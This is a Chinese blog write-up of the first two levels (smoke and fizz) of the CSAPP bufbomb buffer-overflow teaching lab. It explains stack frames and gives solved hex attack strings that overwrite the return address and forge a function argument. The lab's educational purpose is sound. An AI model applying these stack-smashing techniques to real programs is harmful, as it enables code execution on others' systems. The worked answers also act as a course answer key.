前言
完成这个实验大概花费一天半的时间,看了很多大佬的博客,也踩了很多的坑,于是打算写一篇博客重新梳理一下思路和过程,大概会有两篇博客吧。
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(上)smoke fizz
CSAPP lab3 bufbomb-缓冲区溢出攻击实验(下)bang boom kaboom
lab3要我们做这样一件事情,修改一个正在运行程序的stack以达到预期的目的。具体的修改方式是这样的:程序定义了一个局部C风格字符串变量,注意局部变量是放在stack上面的,所以当初始化这个字符串为用户输入,而又没有边界检查的话,就会缓冲区溢出,那么就会破坏这个函数栈。
就像下面这个函数会破坏自己的函数栈:
#define NORMAL_BUFF_SIZE 32 int getbuf() { char buf[NORMAL_BUFF_SIZE]; Gets(buf); return 1; }
会破坏到什么程度呢?如果用户输入太大,那么就把saved ebp
给覆盖掉了;再大一点,就把return address
覆盖掉了…没错,这个lab的精髓就是要让我们的输入来覆盖return address
达到return到代码的其它地方执行!!!
ESP(Extended Stack Pointer)为扩展栈指针寄存器,是指针寄存器的一种,用于存放函数栈顶指针。与之对应的是EBP(Extended Base Pointer),扩展基址指针寄存器,也被称为帧指针寄存器,用于存放函数栈底指针。
实验目的:
通过缓冲区溢出攻击,使学生进一步理解IA-32函数调用规则和栈帧结构。
实验技能:
需要使用objdump来反汇编目标程序,使用gdb单步跟踪调试机器代码,查看相关内存及寄存器内容,也需要学生掌握简单的IA32汇编程序编写方法。
实验要求:
5个难度等级(0-4逐级递增)
级别0、Smoke(candle):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。
级别1、Fizz(sparkler):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。
级别2、Bang(firecracker):构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。因此,需要在缓冲区中注入恶意代码篡改全局变量。
级别3、Boom(dynamite):前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行。Boom要求攻击程序能够返回到原调用函数test继续执行,即要求攻击之后,还原对栈帧结构的破坏。
级别4、kaboom(Nitro):本攻击需要对目标程序连续攻击n=5次,但每次攻击,被攻击函数的栈帧内存地址都不同,也就是函数的栈帧位置每次运行时都不一样。因此,要想办法保证每次都能够正确复原原栈帧被破坏的状态,使程序每次都能够正确返回。
从这个等级的命名我们也能窥探到一些端倪,candle 蜡烛,sparkler 烟火,firecracker 爆竹,dynamite 火药,Nitro 硝化甘油这一套命名规则显然让我们想起来lab2的拆弹实验,可见级别越高威力必然也就越大。而另外一套命名规则显然是从效果来看的,Smoke 冒烟,Fizz 劈啪作响,Bang 怦然巨响,Boom 隆隆作响,kaboom 大炸裂,果然有点意思。
文件夹内容
本实验的数据包含于一个文件夹buflab-handout.tar中。下载该文件到本地目录中,然后利用“tar –xvf buflab-handout.tar”命令将其解压。
bufbomb:实验需要攻击的目标程序bufbomb。
bufbomb.c:目标程序bufbomb的主源程序。本校的实验中没有给出,但老师给的ppt上有。
makecookie:该程序基于你的学号产生一个唯一的由8个16进制数字组成的4字节序列(例如0x5f405c9a),称为“cookie”。
hex2raw:构建的攻击字符串中可能包含不可打印字符,很难通过键盘输入,提交结果时,一般将结果放置在一个答案txt文件中(攻击字符串以可显示的16进制形式存储),在输入给bufbomb之前,需要使用hex2raw将其转换成原始的(raw)数据。
其中结果提交和验证时,均需要使用到bufbomb,其使用方法(-h查看帮助):
h:查看帮助;
u:学生标识;-u要求我们输入一个唯一的userid,根据不同的userid生成不同的cookie值,这里我使用的userid是stu
n:对于级别4(nitro/kaboom),需要加此参数,被坑了很久,一定要加上此参数!!
s:验证正确性的同时,将结果提交到服务器(如果验证正确);
实验步骤及操作说明
准备工作
使用objdump -d命令将其反汇编到bufbomb.asm。
objdump -d bufbomb > bufbomb.asm
使用makecookie,生成用户的Cookie,后面解题都要用到这个Cookie:
0~3关:
攻击test()下getbuf()
第4关(Nitro/kaboom):
循环调用5次,
攻击testn() 下getbufn()
第0关:smoke
构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。
源码:
#define NORMAL_BUFFER_SIZE 32 void test() { int val; /* Put canary on stack to detect possiblecorruption */ volatile int local = uniqueval(); val = getbuf(); /* Check for corruption stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has beencorrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned0x%x\n", val); } } int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; } //Smoke源码: void smoke() { puts("Smoke!: You calledsmoke()"); validate(0); exit(0); }
我们的目标是调用上面的getbuf()
以后,不正常返回,而是跳掉smoke这个函数的地方执行。
先看一下smoke的反汇编代码:
smoke函数的地址:0x8048c28
getbuf函数对应的栈还是上面那个栈的图:
buf只有0x28字节长度。
接下来,只要构造0x28(buf)+4(ebp)+4(return address)=48字节长度的字节码就可以将返回地址覆盖,最后四个字节的内容放smoke函数的地址保证返回地址是被smoke函数的地址覆盖,因为是小端存储(是指数据的高字节保存在内存的高地址中,而数据的低字节保存在内存的低地址中),也就是:28 8c 04 08,前面44个字节任意这里我放一些00。
也就是:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 8c 04 08
将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。
完成!
第1关:fizz
构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。
还是上面的test函数和getbuf函数,这里就给出fizz源码:
void fizz(int val) { if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0); }
这一关和第0关类似,最大的区别是这次要跳到fizz
这个函数有个参数,我们在输入里需要伪造出函数的参数。
先看一下fizz的反汇编代码:
fizz函数的地址:0x08048c52 即( 52 8c 04 08)
在fizz函数代码里有这样两句:
mov 0x8(%ebp),%eax cmp 0x804d108,%eax
其中0x8(%ebp)就是函数的第一个参数,而0x804d108这个内存地址保存着cookie的值,然后这两个值期望是一样的,这个位置就是我们要放cookie的位置。也就是说参数是放到了返回地址的上面,并且和返回地址相邻。同第0关一样,先用fizz函数地址覆盖掉getbuf返回地址,可以执行fizz函数,并且要将fizz函数的返回地址覆盖掉,并用cookie覆盖掉上面的参数。这样就可以跳转到fizz函数,并且在跳转后自己取到cookie作为参数,fizz函数的返回地址可以用任意四个字节的数覆盖,这里00 00 00 00覆盖掉,其作用只是用来占位。
也就是:
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 52 8c 04 08 /*fizz 函数地址*/ 00 00 00 00/*fizz return address */ 94 25 80 4f /*Cookie: 0x4f802594*/
将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。
完成!